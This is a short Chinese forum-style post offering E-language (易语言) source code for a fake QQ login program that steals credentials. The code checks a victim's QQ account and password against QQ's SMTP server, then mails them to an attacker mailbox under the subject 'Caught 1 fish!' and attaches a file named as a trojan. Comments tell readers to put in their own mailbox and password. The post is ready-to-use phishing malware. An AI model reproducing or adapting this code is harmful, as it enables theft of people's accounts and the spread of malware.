钓鱼网的类似盗号
.版本 2
.支持库 internet
.子程序 _按钮1_被单击
.如果 (编辑框1.内容 = “”)
信息框 (“未检测到帐号”, #错误图标, “错误”)
.否则
.如果 (编辑框2.内容 = “”)
信息框 (“未检测到密码”, #错误图标, “错误”)
.否则
.如果 (连接发信服务器 (“smtp.qq.com”, 25, 编辑框1.内容 + “@qq.com”, 编辑框2.内容, ) = 真)
信息框 (“登入成功!”, #信息图标, “信息”)
.如果真 (连接发信服务器 (“smtp.qq.com”, 25, “
[email protected]”, “45321546”, )) ' 帐号密码自己更改哦)
.如果真 (添加附件文件 (“d:\tupian\muma.zip”))
.如果真结束
发送邮件 (“钓到了1只鱼!”, “QQ帐号:” + 编辑框1.内容 + #换行符 + “QQ密码:” + 编辑框2.内容, “
[email protected]”, , , “
[email protected]”, )
.如果真结束
.否则
信息框 (“帐号或密码错误!”, #错误图标, “警告”)
.如果结束
.如果结束
.如果结束
必须是选项利用
QQ密码和邮箱和QQ账号自己改。